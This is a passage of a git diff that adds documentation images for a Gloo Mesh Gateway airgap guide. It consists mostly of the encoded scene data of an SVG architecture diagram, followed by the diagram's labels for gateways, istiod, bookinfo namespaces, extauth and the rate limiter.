iXHUwMDFl4CnCtkrvK79cckQnmoyGXG7Tab4q+SzbfolcdTAwMDVda0hkUa1cdTAwMTlcdTAwMDL6p2gpNsaoxcyoXHUwMDA0ZqJj8OLDXHUwMDE4XHUwMDFiZPN4aVxyTC2hkFDGvFx1MDAwM5PE3kpzkc2DLcVcdTAwMDSmRl9wXHUwMDAxbLrSXHUwMDE5ZT59i1x1MDAxMM3Xea5cdTAwMDPNXHUwMDFhP56KfVx1MDAxMmOQpZQkVJmxxkAjiOJ/Od8mINyFxEqb4aGK2XOEPZZcdTAwMDTaXHUwMDA0U4NcdTAwMTh4yZRJpFx1MDAxNv9yvlxyNrukVHFcdTAwMDGSmVx1MDAxMbx2QdA1podcdTAwMDNSjMJcdTAwMTZBwDjWI1x1MDAxNkZcdTAwMTLuxlx1MDAwNPBcIqZcXPK1XHUwMDBiXG4z4UpI2Fx1MDAxOWeUM0dcdTAwMWQstrBJieaaXHUwMDAwj1NcdTAwMDH8scH+gM+USfDSXHUwMDAycYapfT1qXHUwMDExIaSQXHUwMDFhXHUwMDE0kXHe4vVcdTAwMDeoLCM5sFRUwbpKOM7PxN5cdTAwMDUsRqSG54HX705ZcNawLaEkYFlNXHUwMDFku1x1MDAxM1x1MDAxNpwol1x1MDAxMqRcdTAwMDQ2WpRscnhmfFx1MDAwMfyJKWc0ute5XHUwMDFlk1xi/q9AXHUwMDExmL5Yau1yzFwimFFFXHUwMDE4w1x1MDAwMnPpLEpmXHUwMDE2N9KLK9PBk1wiStcuhy0zhVxipJ7EIDlNvpd9PWVcdTAwMTnPuVx1MDAwMutGw8HCXHUwMDAxbsBcdTAwMWbw3IiajylcdTAwMDTMJ7RcdTAwMTTOXHUwMDA1QVxmXHUwMDAzoZhcdDRcdTAwMWFcdTAwMGVk/YIglSmS3Mhus6pwnlx1MDAxZrGoIVx1MDAxN5M3rk2d4trzQ8BsXHUwMDA07Fx1MDAxOG3YmJvKbedyXHUwMDBl3iBqLblgi8PHXHUwMDEwNVx0WUJSTp3LwVNQXHUwMDE4wztcdTAwMDJOg639tlxmyFx1MDAwMb4nkFx1MDAxONMmjWOvxbhFYD9iXHUwMDFlqjK5iU6vKrBcdTAwMDWgPEmAXUxRXHUwMDAzXntyxEKMa1x1MDAwNsCQK2m2SZ3rcdhcdTAwMWNgXFxcZqRJXHUwMDA0nMf69YTxUFx1MDAxOLHCTNY/XpJSxlx1MDAxOSzh+2pBqcRrKVx1MDAxOeSQVvPCXHKEXHUwMDAwgDO2vFx1MDAxZTd9h5EmQJNcdTAwMDKU+Fx1MDAwNpSMsalZ4mZiO3xlLlx1MDAxZKxmskKZpFxmNlxiXHUwMDE0yID8mFxcS3xcdTAwMWW65i/7z62jX1x1MDAwMnv3XHUwMDBiQGBcdTAwMDFcdTAwMGKwOTaPXHLryOiOzTCqV4ulXHUwMDBm+VKNP710WNAtL1x1MDAxMCuKmV4poFQoc2ZGMFx1MDAwNoRGsWZGmVx1MDAwMHPT/TIjtC5X3DIjzLQpXHUwMDA0Slx1MDAxMmiMKiNXXFzSr1ZCX0brI9jw2uLZXHUwMDFmRPmfiii96Wbpz/dcdTAwMTJcdTAwMTJcdTAwMDBcdTAwMTjE8q9cdTAwMTetdVx04YAntsirTnUn9GaWe+Yhklx1MDAxObyls4PbbDFySjN0XHUwMDAzISFcdTAwMDCacEBcdTAwMWbCTDOkdMk/oyxcdTAwMDJqXHUwMDFjpIQmc2v0KDJcdTAwMDJcdTAwMWLwNkf4goPhLLmbg8Z4UTFsXHUwMDEz/o9cdTAwMTXneMVcZpVcbnDn+lxutFx1MDAxZpHxnyoyTIco00GXXHUwMDAzMIJcdTAwMGLMm2WLXGZ0XG7YTmBaXHUwMDAxXHUwMDE2XHUwMDAyXGa1XHUwMDFlO1x1MDAwMVx1MDAxYzZdXHUwMDFjmNRcdTAwMDCgXHUwMDA0WkKxiFx1MDAxOCxcdTAwMDZcdTAwMDaMXHUwMDE5XHKwXHUwMDAxiMVUzmc/I0kxdlx1MDAwMjEz909LXHKYnlx1MDAxOPS03lx1MDAwMJCWMS8xXHUwMDAyg1x1MDAxYrYo7NM051x1MDAxONL8XiCpOVxcci1cdTAwMDLD2Fx1MDAwMrtIKMDXRFx1MDAxYdtzaXPGcjFGXHUwMDE1nFx1MDAxYsCmtSBcdTAwMTFTS4Lk1KDG5y0wmKNMXHUwMDA2wbFyY0rA0Vx1MDAwMWBcdTAwMDamXbuep4Awl4GkRFx1MDAxMmKq6ZGpMWJ621xuZD9cdTAwMGa+QN7DvJl5VJvHfu/zN9Fe9SHXfE3VklmeXHUwMDBm41jvpON6N9FcdTAwMGZAt4BcdTAwMWYp2EKmgY8zMYIyS4Hc5WDagPXIyV7BLf+BlVx1MDAxNjfp+cCExkIlxK1bJv5FdVhcdTAwMDB9XHUwMDAxgCQr8a25fcuVWtc9M9A6XCI4PnyGsCd6XHUwMDAy+UNcdTAwMTHVW0R+8yhTXGZcdTAwMTEqevFoLIReo0WVv9bBXHUwMDA3T1pcdTAwMTNj3INoXFyKbXFqXHTQOIKbhpSK7MdcdTAwMWJ7YidcdTAwMDU6XHUwMDAw8fkwLdNcdTAwMWJzpX5fXHRucoR/PPgrjPFPXHUwMDAxT/5YJ1x1MDAwNGBHM2WyyU2yk6JqrYPXXHUwMDE37sB6wtRcdTAwMDNzpozDXHUwMDE4sbVuMV+8Y9xic+dcdTAwMWHoXHUwMDA2zJSg6z28/ohcdTAwMDdcdTAwMTakXFwqXHUwMDEzmYNbcao38Hj6Yp6QaYspYU1cdTAwMTNCZqY531qE51x1MDAwZnpcdTAwMDDzUNDKc3c2MWpR21x1MDAxNtxcYvN4NlqwN1x1MDAxMV5pMWVcdTAwMDRcdTAwMTndJmUhflx1MDAxNau1q+FcIr1cdTAwMWG9i2H2cXbduvRcdTAwMTLra5rNLbc4OWLiuMBmxiA2xVxuYHHaXHUwMDA2l5u/XHUwMDA3aWrB78FcIqYmNCC8892UIDVd2Vx1MDAwM/Uwy2B4XHJcdTAwMDY4I8SelrpcdTAwMTDu0pLctLtVXHUwMDAwpVx1MDAwNVnttqk0NeUha0HPf4pk9mps0MtWWaLbe2i+hJPTXHUwMDFhioTJXbjkUE1/XHUwMDFhXHUwMDFiYMu0syTUlG9rU7zq0taXWcDLXHUwMDFjZI5pMyZAivz+xJbdXHUwMDE2Pl7Dkc8mS8RmVTROPbavc/Xcg+umkMWx8XxQXHJ2XHUwMDBlNs2+VzfFLVxuclx1MDAwMJF5epfpkrWyqbPqtuBJ/eZaoftDiT8zU9TT4DPKymTjbyz+/EfaXHUwMDA2s88whSO1XHUwMDEwwfNva6ScQ/phjKQ1T/lAiHLmU1S2V5N1XHUwMDBlxIxcdTAwMTVlWJiWY5S5paZwZZzEgLxcdTAwMDGwYFtPXHUwMDE021xidsNcdTAwMDanXHUwMDFjzFx1MDAxYVxi0TctTUc5MeyDXG4mrWel+6+t4qublDG+YFx1MDAwMmaCXHUwMDE2XHUwMDFhUamxW0tcdTAwMTdjZVx1MDAwMyBcdTAwMTFg92ui0WpD341cdTAwMDTfXHUwMDE2fd/neFx1MDAxMzNtqnuxSd1Y3ZMy7ek4XHUwMDA3SuGcXHUwMDAzXjpruedN+r/eXVwi+oPJPYW859NcdTAwMTJcdTAwMDTKkG0xXHLGf0R4MOVcdTAwMWUjXFxYJlx1MDAxME6VqWVVyz1mkLI0MUNxXHUwMDAwvVx1MDAwYuU9dnovuceYXHUwMDA1qFx1MDAxMUAlXHUwMDE4T3BHlzxuQ1x1MDAxZmCJXHUwMDAxqDNxXHUwMDFijFZyVY3zi0l2ytbDgVx1MDAxMHtcdTAwMWadWL3Kk/wq9fTSqcn3XHUwMDA0a4UrXHUwMDFl4FxupJ1cdTAwMTnJQbBJhsLKdbhcdTAwMDQgfpNQXHUwMDAz9iBSRO3YX2ubnu9cdTAwMDA1qMn2XHUwMDAwg1GBriUu7U41XHUwMDE40pxT01x1MDAxYcx4Nsl5i76QJ/mba4Xwt1x1MDAxNH2+vVx1MDAwNLhPJJhJQbTaplx1MDAwNvLqLaazl6/5XFytnW9/fHLeefl8PKWnf1x1MDAwM9THXHUwMDAx18E3xaDTzStebjhKqTVPXFwzna1MPzdP+bdPJ41NhjPappZ9Nc/gpvrGnjJ+Vt3Wi/F6qlZcdTAwMWNfxz+FrHfwsJNcdTAwMTRo8red9n+mM+6x7pGO92dZk1x1MDAxOKffPnPPzdyM4Fxc7CZ2lexN0f1cdTAwMDGe2XMqXHUwMDE36XdyOtX4XGbfxmPvw6fb2XCvddeNZ3Q/oMWyK0Lg2ONcdTAwMTmFLVx1MDAwMrXiiEBcbm3V3Mb/8Vx1MDAwN3Toh+mT6K+TtMVsOul4Uz82XHUwMDFk+1xyqIUhqdeWiZ1bgHhBKLtcZmi0zb9cYj/e/rs7qlxyp/am098w93tcclwi85nYXHUwMDAxO774veE94KXwhJeUalx1MDAwMTB/izzDXHUwMDBm9vKefCvGSaZcIlx1MDAxZTCXn7eZctAnfzNunEtUz4f0XHUwMDAwjlxcZmSTqI41YH5i+jDuXHUwMDE3LD8suITdgsFB2ZliSzZKNVx1MDAwN6FQY/xZo/ncO+5dtVx1MDAxZjzA2lx1MDAwZrbcft0jXHUwMDFk78+yx1uWhjo03ChGbkK6XkpcdTAwMTfDV4lJsXVcYlx1MDAxMqvnhtPZXHUwMDA0y+mzXG69iVx1MDAwMvooPESPXG5Z3Vx1MDAwZuiEkFV6e1GYxIhtVXPj//hcdTAwMDNcbllNXHUwMDFhla+iXHUwMDEzljiUojtcdTAwMDRiXHUwMDE1gqh597vgard/JmBdXHUwMDAz8lx1MDAwZVx1MDAwMFh9QuA+nSNcdTAwMTkm3FxmWNuYjf3FbUBDQZRpy8xcdTAwMTmgXHUwMDFjgT2nlrlYaFx1MDAwYoRcdTAwMTkx/UyNjXqcWJDSXHUwMDE2XHUwMDA2IYGJMK9cdTAwMTS5dI0kllx1MDAxNvA4qInEc64xXSmLwUibYs31XVV/okG2ILhcdTAwMTKIwqMzJe1ScJe4i6kmQdjUWFx1MDAwYoVcdTAwMTXfNf3Hl8cvnMEgiUx9iOk3p03DXHUwMDAz5bYpXCKxIMj0YTNcdTAwMWYhK7s6s2G7nlx1MDAxY2Cu0CrxL9b7y/5zh1g49XS9YYAxXHUwMDAyS765XHUwMDAw9MeFXHUwMDAxXHUwMDE1gIIwi3LBXHSwXHUwMDAyvK5cYkBqYUlcdJNw9FqT5Z1cdTAwMWQoXHUwMDE4juD5M4ZcdTAwMTUoJMFA57hcdTAwMTRcdTAwMGZji8HzYJwqbvpmMLSCcJhcdTAwMTmaRH/GbG4sbEyJv+mWTDAmkmsgXHUwMDAxl3A4fFxiXHUwMDEx2CA1jYPgM6uyZiNcdPiSXGJcdTAwMTUxv+lG+5VbmstOwyxcdTAwMWJvum/KnIVp28JcdTAwMDXWXHUwMDEyueUmmfglZ1xuIU2xJJSed/6jN/WbK7RK+Fx1MDAwN5N+XHUwMDFhe7fVR4zNs9u3aJ3gXHUwMDFiIVxupvhcdTAwMDP4Z/LcXHUwMDA0iFx1MDAwZVx0Qlx1MDAxMNOlMcOmLM400MHG4c+Z9Fx1MDAwZYbvXHUwMDA1XHUwMDAw4SZgNks2XHUwMDBmblPhlv5ccrxKqZn6R01Okr2E51x1MDAwYlx1MDAwMFx1MDAwMog1ier/dPnnXHUwMDFmXHUwMDAxcIIt0PF43tOFUEVcdLE3dVnkXHUwMDAzSY6QXHUwMDE0XHUwMDEyXHUwMDAz1pJa/Fx1MDAwMVx1MDAxZltcbsBqIfZx00zzQYWy58l9tfFcdTAwMWO9XHUwMDFjekFAXHUwMDEwfqCKJZ2nplO2mlx0KSzGXHUwMDAxuzBTtaJcdTAwMThcdTAwMWPhWUvAkCdcdTAwMDPM312l/cPhP5tJt5xcdTAwMGLJXHUwMDE4oY5auXVcdTAwMDLQP5RcdTAwMWRQXHUwMDAxXGJcdTAwMDdqmV7ocPia2yOrv+WfsDjgQoWU1Fx1MDAwNlx1MDAwNlx1MDAwNtdcdTAwMDDmyERkXHUwMDExXVfb+CP+XHUwMDE28E8jzSlTZpSlJtKt/lx1MDAwNbSj0IRcdTAwMDBcdTAwMGUzrzsmgW+Rl47NMEWETCNAZLqDrla/aMs0MZKYmUJAMElcdTAwMGWSXHT5XHUwMDFmbPz6hqtcdTAwMDX1ln9SmW56aItcXHDfkbJB9eObYLFcdTAwMDI+XHUwMDAwXHUwMDA0YF6XXHUwMDFh41x1MDAxMGpJY2yY9nvK9DrzXHUwMDE0gJs0aPVcdTAwMTKAYLRaxHYxt7beRFjaftlCXG5/klKkXHUwMDAySpL4hFwicJ9cYnb1Jfn51lxi599cdTAwMWXHkfpnktTJw9g+knhFo3+941x1MDAxZq870dT33bmS2vKfVob9mVx1MDAwNo6ab1GZW1x1MDAxOUz6ucGsluwqSZo0mX8qR+gusGQ5hnVMplSOXHUwMDFjZWeFXHUwMDA2XHUwMDE1eFOm3KAw97/KNVaulleZcsdcdTAwMTRlpilcXDzIgTY/ZtHXavg2XHUwMDBloau73GUtk36ohT5cdTAwMWWuf9JIXHUwMDBllUZypOM9+LLrMlx1MDAxMtxv+FxygtMrI4FcdTAwMTLPal7TzFhv58ryPc7AXCJcdTAwMTlN/ISmtMhmQnM5re5oObRgXZJA59udICNcdTAwMDEsqSHs7uLf3Vx1MDAwNtxwVvr41mSENVhhOVx1MDAxOeHPZv9sdVx1MDAwZsgjPItSXHUwMDAxXHUwMDBmU0bkXHUwMDE2mVxi/afHTOKlnqTZ13T7hn3W8uE7XHUwMDE5eMTDvZmXcVx1MDAxOVxcxMOxoJyqU1bf71x1MDAwM3gq+WlP44f7Wv75uk+excd1cdT+XHUwMDAxPIdcdTAwMDI8RzreIy2Lc92KqOSK5ddaPoLCsdQlmlx1MDAxZKLK6eDbXYfP3G94SnymvetuJTGDodRcdTAwMTZVTv7nXHUwMDE5XFyAhnxkvKCBXHUwMDAzaKbzlbJPvVxmnGQ/XHUwMDAxQquVRuNZbTQ+XHUwMDExRFtcdTAwMDNuliHa1273x2hcXHo7i7FcdTAwMTlcboq2MLFcdTAwMWGN3HOolCFjNri8iTSTXG5cdDZcdTAwMGU8XHUwMDA3M8wtXHJ2XHUwMDBiZfNX56hcdTAwMDVKmKW4XHUwMDEyXFyamVx1MDAxOVx1MDAxNPklfVx1MDAwN8FZXGaPjFx1MDAwNrmA0U+hXHUwMDFly1ecb+m7VLmQ4HxYqHw8xlAxUUtcdTAwMWVg3Zfyk7pcdTAwMWV30bCCov3nXHUwMDAxYpVUu1x1MDAxN2RcdTAwMWY0k96jkDmQt7K34F9byNgpJFXvPf8ye41H3iaEpO/zL1x1MDAwMTfIXHUwMDE4lZbplyvN1CXkzFx1MDAwYqLmvc04fVx1MDAxM3uMXHUwMDEwVa655UXuZo+ZNCZ2tj0yXHUwMDFlX1xuQkWeQ5VYLKFvZI3Ei+XCjz12KHvsSMd7Lsuus5vcb/hccsLYy25i3vNTXHQyczBcdTAwMTTZwm7yP8/Aoi5GvEWx6aK3mSg+itlEVpBcdTAwMTVcdTAwMThNXFxxk4lcdTAwMWVcXFx1MDAwMXxcbrPpfVxcmoyb9uP/spVs8e7tbKVxz/Ytl1x1MDAwYuv8QceKofR7f7tDJo68J9FcdTAwMDFkXHUwMDEyXHUwMDEyadtxrWPVbJnWk+L1Jlx1MDAxNVx1MDAxNr3Xj/zj9Wfj4TnwmElZ2tPBIXVwQZPpOCowUupM7aF2rDBcdTAwMWRcdTAwMTU/K4l0r929bNPkTabY/EFNh0JNRzref/iy68CY+1xyT1xixuwzXHUwMDAwliW8qVdCjrq0dVx1MDAxMt7/PINcdTAwMGLGqI+M1zJgaFxmM4q1XHUwMDE5XHUwMDA2XHUwMDE3YHP4XHUwMDA0aGxcYre5aLc6rbFHu4OdIdlcdTAwMWH39Vx1MDAxYVizjMpcdTAwMWP73Fx1MDAxZJox5Vx1MDAxOX1cIphcdTAwMTFT+7W5XHUwMDExdX+TVlc10i6Ey8BLJFsr9ydBT6hkVHiaUFxmXHUwMDA1XHUwMDE4mFx1MDAxMcTNWFJ7cDBw/OunNFx1MDAxZifJoe5kY09FWWzd91ufuSnxQCQ/wGxcdTAwMDd31nGO92fZYyy71vnmesNT4j3u3Vx1MDAxZlx1MDAwN2GlXHUwMDE5QVvgPf/zXGYu3sPemoNcdTAwMDRcdTAwMGXuXHUwMDEx43qjOMg1MKeAe7WqbT7jd+C8NSBpXHUwMDA15803uFx1MDAxM5Pa6+VX3G7zuVxuaItQZa45elaDWv82XHUwMDE0enq4XHUwMDFkvGfep7eH7WJwhCl2SFpIcVx1MDAwNDKJgFx1MDAwNbZUw4aptDjYatp8glx1MDAxYlx1MDAwNvFk0k3SXHUwMDEyvOBcdTAwMWShLl1b5EqbXHUwMDAyXG64XHUwMDBmmSHTp+PPdWW6fjrxRHF8V+5Xjt/6cH+j3euFOrVRM1SqVnvd0b+73Vx1MDAxMvxcdTAwMTNIrOYqXHUwMDEzxK6pSz7ueMe3WOZ+v1xy+spcdTAwMDTPyn5JPH3xXHUwMDA0XHSiTCfmzX3x/k89oEJBMUtcYlx1MDAwNoTFmFx1MDAxOZDmkFx0XHUwMDA0c1x1MDAwYisplDbjSn362u0jXHUwMDExMKFcdTAwMTYnUnLTWYNw5TKyWFx1MDAwYlx1MDAwYpnmXHUwMDAzWlPGsdAr5p8kSpsy9Vx1MDAwMIuLb6nq91dLXHUwMDE3S+OEKGFcbl6VqVxidlx1MDAxNJT/rqHnljAj88C05srMnt1xxpF/XHUwMDBln3NTXGbQMiZcdTAwMDKZSUdcdTAwMTQvJq1+7Vx0U0tcdTAwMTBcdTAwMDDcSjJQXHUwMDEwXHUwMDAwJVd77Z1VT1x1MDAxM0/qN9dcbt0vlvvL/nNruWdnoVx1MDAxNVx1MDAwZjXjXG7xbdKs7/OlfCiee43etuRjd1i7XHUwMDEz0UEj4HKPa21RLVx1MDAxMdFaXHUwMDEwjJaGu1x1MDAxMU0sSoHwwUJg0qeaf4P2815yj1OLmHahnJvuZJwunsiim1x1MDAxZFx1MDAxNlx1MDAxNiOUXG4pqeaCrsYjiTIxY6xO6LZcdTAwMGXIoHUv6XODa6T1KFJcdTAwMTXOR1FcdTAwMWEtZKPxaddN+iCLXHUwMDEyrJRcdTAwMDSaME9cdTAwMWRcdTAwMWX+aqNPoiyt4amBfDJccqzpQVpqnk74eJLg/N1cdTAwMTXq21L6rJmA4ZNcdTAwMDWB2FxcOW2OvN77d/fhUK7zeFnrkkp+kEHxNlx0tlx1MDAwNFx1MDAwMjjlN8zGdC9A835K2owgJj5J4t8/X43IwI+1+bqHi3VcdTAwMTa/eyjnUslxvpFcdTAwMWHg57fn5nBa/smCOJiz/UjHe17LXHUwMDFla1x1MDAxMNrBt7vO2+5+w8WyK8x69Dlo1LtE0HiMtmtH6n+eXHUwMDAx9baD7vBcdTAwMWLOSaWy+KF0x0Hc7ZQxY0n+ZFf8ovDf/qxub1x1MDAxY2p151x1MDAxZa1vdbqvQUvLbjf7NndcdTAwMDd8VFx1MDAxMC+2NS3VXHUwMDE0XHUwMDEzdPPWXHK3rPSW0umXpm7nRKae6ryn3nWwcyvmeI8uXCJk2MGyZkxcZpj/XHUwMDAwelx1MDAwMfhx7d1Ac5PUisOiPUkwpVJcdTAwMDc5VOaLylKTbPejUWatcq5RqPfGd7dcdTAwMTl8XHUwMDAwsHekZY+EIZORabh+rZOvXHSEpuGnfEXG1excdTAwMDDr9q/xZXake+nyZ5KxzGW5XHUwMDFmr3mMkd1q3TN7aodedlx1MDAxZChzv+FcdEFcdTAwMTlAXHUwMDBlT1AmkFx1MDAxMFx1MDAxYVx1MDAxMMDmKVx1MDAxMP7nXHUwMDE5ZFDmLeAltdCBXHUwMDA0/CEgXHUwMDE5Q4QpzNRP9dGFXHKRnVx1MDAwMo2twTKrzbQ2QGKeZYLIM1x0glx1MDAxMlx01KC2mDt7815Hg1x1MDAxMU8/p1x1MDAxYo33yeVcdTAwMTO+epmFXHUwMDAy7nRjSFlKXHRgQEZcdTAwMDTnytmaXHUwMDAx7Fx1MDAxNEtoxLmJhlKTXG7hbTntXHUwMDEz8WQuwGs1XHUwMDA3gpiBXHUwMDFlXGZcdTAwMTNcdTAwMTngXuW+mGPygFx1MDAxMtVKhXfJM6o13sOZVu15M2ywj/5ylVx1MDAwMFx1MDAxYidBNMfjfrnVXHJcXO6Dy758JYBn6E95l1x1MDAxZlx1MDAxMkRcdTAwMTTGcovqQ/9HXHUwMDFjUFx1MDAxMcCQZfKfXHUwMDA0XHUwMDE4NVx1MDAxYVx1MDAwNOKCXHUwMDE3f6U8/Ir8MVx1MDAwMbhcdTAwMDUrZDN7XHUwMDBlKlx1MDAwMpBcdTAwMTlVT7QgXHUwMDE0rCtOlEtWlFKWNkOVXGJcdTAwMThfILH06jA/IUyCykmndVx1MDAwNlwi7cFfXHUwMDEzXSylPVxiXGaEzrAgXHUwMDE4U7VcYu5euKc9XHUwMDEw8WeS0pZpXHUwMDBmLHVXSKSbXHUwMDFmtZsnUVxiv7avpome6ywr2JSAu1xiM1qQUlxyXHUwMDAwcjXtgVx1MDAwMM1qQlx1MDAwMNwhLblE9MxHuXjTv7lWKH+x3l/2n1tcdTAwMGI/7N3+XHUwMDE3XHUwMDBiXHUwMDEwXHUwMDA2QnG6ue/46j6eXHUwMDFjdGit9/pQeFx1MDAxZeC+7H7kPoNupjAkiW1cIrHTc4wxcniOhXfK11x1MDAwNpnanlx1MDAxZESlJW2XXCIuk1xc8GLXf/xQXFyAxJCn7JdcdTAwMTCQVFx1MDAwN8c758T2ns/dXFwgXHUwMDEztmRzLytcdTAwMDd751x1MDAxNoCoYYDwxeaZ3uV7efnWqvRcdTAwMGL8MTZcdTAwMWUmUtWnUohcdTAwMDedyakkysJamVxcOvNqXHUwMDBivJhcdTAwMDVcdTAwMTSWXHUwMDE2poJRziSRSPlgnFxyklx1MDAwYjz7XHUwMDA0L2TLwlx1MDAxMWHLpfo9cVx1MDAxY/bKMUP/sWy9kyNiil3NXHUwMDBlrFx1MDAxY588vtkxxbs5XHUwMDFhXGLyUbRCXHUwMDAxeW7jaVDTzGU2okuJ3IyU6p+dytO07DUzPDg8qJi0XHUwMDEwxZKJ+atcXOVBu6r1cTXswYPErevjXG5cdTAwMGZcdTAwMTIkuKl9/4+dXHS5XHUwMDFiXHUwMDBmkoDwINmNXHUwMDA3sU+SL2HSzPTFm4PdXrbKXHUwMDEy3d5D8yWcnNZQJEzuwqWg86BhPVx1MDAwYsuvTqxyhVx1MDAwNe11id5jq4+vXHUwMDA2iSlcdTAwMTSlYHieqbMvflx1MDAxNau1q+FcIr1cdTAwMWG9i2H2cXbdutS2bV18o7Pvn6NlvefyaVx1MDAwNUfG2Fx1MDAxNjm0Sfb+XHUwMDE4x+l6PCojvdebxmRy9VlcdTAwMGY8g0tCLITcrVnD31xudC9cIphqKtkpVSzGhGKmTjrH5kfHXHUwMDFlXFzHXHUwMDEym+91dZ6UIFx1MDAxNG1cdTAwMTH2vrpcdTAwMTXTfnF23Yx2XHUwMDFm6IDPMt3qjddk4IBxoJKgPrl5dbrTpdJcdTAwMGVcdTAwMTbUx2FBl5pBXHUwMDE3XHUwMDE2JJiDusf/sUWCu3EgXHJcYlx1MDAwN9I9klx1MDAwYlx1MDAwNfZMP1x1MDAwMUtUXCKOhNpcXFx1MDAxM8bTvJO9XHUwMDFmhUdcdTAwMDNyJXWi3/xA407Ao1pUm1x1MDAxOcx/XHUwMDEygtFSXFybSFNayVx1MDAwNcOKYI35fkj3wNUkylQ/4pNan/skXHUwMDE4Jm+uSkPy0Vx1MDAxYr6iSrdwd8lcdTAwMTMvjWhwM1x1MDAwMc+tmuRIx3tey1x1MDAxZaua5FxcTmFdPqT7XHJcdTAwMTfLrsiAY+dD2udcdTAwMTCu4EI2r7De3PXif5xcdTAwMDHFhaCRhJ9GUtLSh9JIh0iIXHUwMDE0XG5cdTAwMTOtxE+FyoVcclx1MDAxY45cdTAwMDByVUvD6sVjr+pcdTAwMGVcdTAwMTOPlFx1MDAxNLlcdTAwMDaCLYNHxz53h5GMeZaWXHSiNVx1MDAxNZpvUaNSeVx1MDAxOMpaXCJ5XHUwMDEzmaRZ/eouXHUwMDE2yaXULijyXHUwMDFia1SoRlx1MDAxNl1cXMtcdTAwMWSiuLCw1ppcdTAwMDBeXHUwMDEzxMdd+v1FKlxudlx1MDAwNZ/lZ9r+c5yIp6X+XHUwMDE41/toXHUwMDE2v3zT6PM6Xd1fXHUwMDBmXHUwMDFmadmfXCKVc3xq57LsOqznfsNcdTAwMTNiPZ+u0ZhcdG7yTLdoXCLmf57BXHUwMDA1e9xPcUhqiVx1MDAwMymOQ2A9ylx1MDAwNENanTLnJIBgXHUwMDBmsNPFrDVuXlxcdac992mlR6uB8cdKy3Bvaae7XHUwMDAzPs48XHUwMDAzaFx1MDAxOCMlhNymbO0p2+nnO9P7z1xu5rPbz7typFh/XHUwMDBmut9wnmv71UuAOt33XHUwMDE4bFVLSoP8MJKAgX1aXHUwMDAw7tFcbmvXNjRcdTAwMTRYgbBT1sfsXHUwMDAz+lL44fHjKswnrZFOhWL1l/ro+Ta46OzcXHUwMDFjh0c63iMtm9MprajKvL69JIdccjWLTlx1MDAwNrPXXHUwMDAznMJdXHUwMDBihTqy+Zx9zd6np6JcdTAwMWRcdTAwMTK1psdI+a3WzaCKbJTQMIFz42wpXHUwMDE2RTE86Fx1MDAxZWDd51Qu0u/AaTQ+w7fx2Pvw6XY2PMC6T9O3QSc9ruhy8vPms5VcdTAwMWQ0XHUwMDA2mUNM7D04OayDv+43PCH85drT1YmxpkoysoVcdTAwMGX1P8/gwl/qq0VcdTAwMDWxyEZa9Lv632OKsJQnbZhcdTAwMWJAXHUwMDA0XHUwMDFja/d6XHUwMDE3d7VR89v9nWug4zJcdTAwMDB2bnRcdTAwMGb8y71NV6lMXHUwMDE3Xkw259276+frxn3q6TOuVD5SilXiicvImeFfJ+NySi3KiFRMSI24rcnFQTNEd4O/iCEkXHRcdHDEwk9xdmqpm8/4WzTbV1x1MDAxZr3PXFy/3828XHUwMDBlftDvodDvkY73vJY9Vtj84NtdXHUwMDA3+txveELQJ7zj25gxYZJcdTAwMDK3qLHzP89zXHUwMDAxfUuqgyNLbaQ6vlx1MDAwYvMpXHUwMDAxqozRIHftPVx1MDAwMea7XHUwMDFkjVu9b8d7a6DSMt5bbHInbuXKZ/ZcdTAwMTFcdTAwMTFcbim8RdOPfDxLMvilejvRj61ZpHRcdTAwMWa/f1xyfncuhsl8vtEvZl3u94/kZlx1MDAwMYp9k1E0XmVV6lJcZoQoZo4pwYFjVT/9OHkrik77LfaSzVxcXed7vWa6/6g207v7aDJXQbBx559krVHruktcdTAwMDFbfvn3JEP/3stuqll6liRgU1xix0ybr42ZPUzeXHUwMDEzscpNMT28XHUwMDE2w2xavzzd5Fx1MDAwMu+PYVx1MDAxNDFLmOYuXGZcYobbmjXNW/FZprlcdTAwMGJTgpuRvtyvydee3C5dSv9WuV1rrLQ+aWOLfZi9d11OXFy9p3KJbu65O0unc2+9yoZcdTAwMWXm0zF7pN1yPLFTMvvvvfgyu3c7L+9eXHUwMDE3mpupyHKLXHUwMDEyX98nXHUwMDE5SP9cciMmY1xytDrhkiHgZlx1MDAwN6dcdTAwMTNiKSQwxlxuXHUwMDE0qlwiYr+yXHUwMDA371x1MDAwMWamr1x0oPz5uCBsf1wii+5+lulcdTAwMDNAKHC6maSmV4uTXHUwMDE0MzOe9D++l5e/wrmwz+vB8ztzqaniWC2g+sXXsDBmXHUwMDExQUBcdTAwMTEoM95cdTAwMTN035pcdGZn21gn5E2D5lqhvsV6f9l/Lkuf3+VQXHUwMDBmgvY+u5oli7f0I11cdTAwMWK8o9DL4ot4iKjfvaaYPS3IaVwig/ksbJetXHUwMDFmyFx1MDAxZs5cdTAwMDI9vspKXFz4XHSFQ/hlt1x1MDAwMTXHSM51Z/yD8fVcdTAwMWaJo1x0I8bGWCmdm2/HMzGGmp6JeiO1sixBXHUwMDFj/LGLXGY5MNNwx1x1MDAxZoCgcFx1MDAxMCuVa1egXHUwMDE4O2hcdTAwMThcdPuClPC1K9hI3FxccFx1MDAwZau8ua1IWi9kKXrlXVx1MDAxNq7Id1WIyYf4ZSTyfukmZEMgZc1oTaK06WxccsJUrDZMXHUwMDA0y5owM0JcdTAwMTI+XHUwMDA1gFx1MDAxYpM/8mXLjomFR/4+SfHLR5RrxzqpcTGazPS9doVNOT1AXHUwMDFjXGZcYlx1MDAwNzOpV3alXHUwMDFk87OIWm3juIv8/iUn//r9VP4u9fvpMZDx17f6e9qqzS69893/+r1cdTAwMDEjZGrmu/zP//71v/9cdTAwMWZbSLlAIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/gateway-extauth-opa/opa-as-configmap.png b/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/gateway-extauth-opa/opa-as-configmap.png new file mode 100644 index 0000000000..5a4fc36a72 Binary files /dev/null and 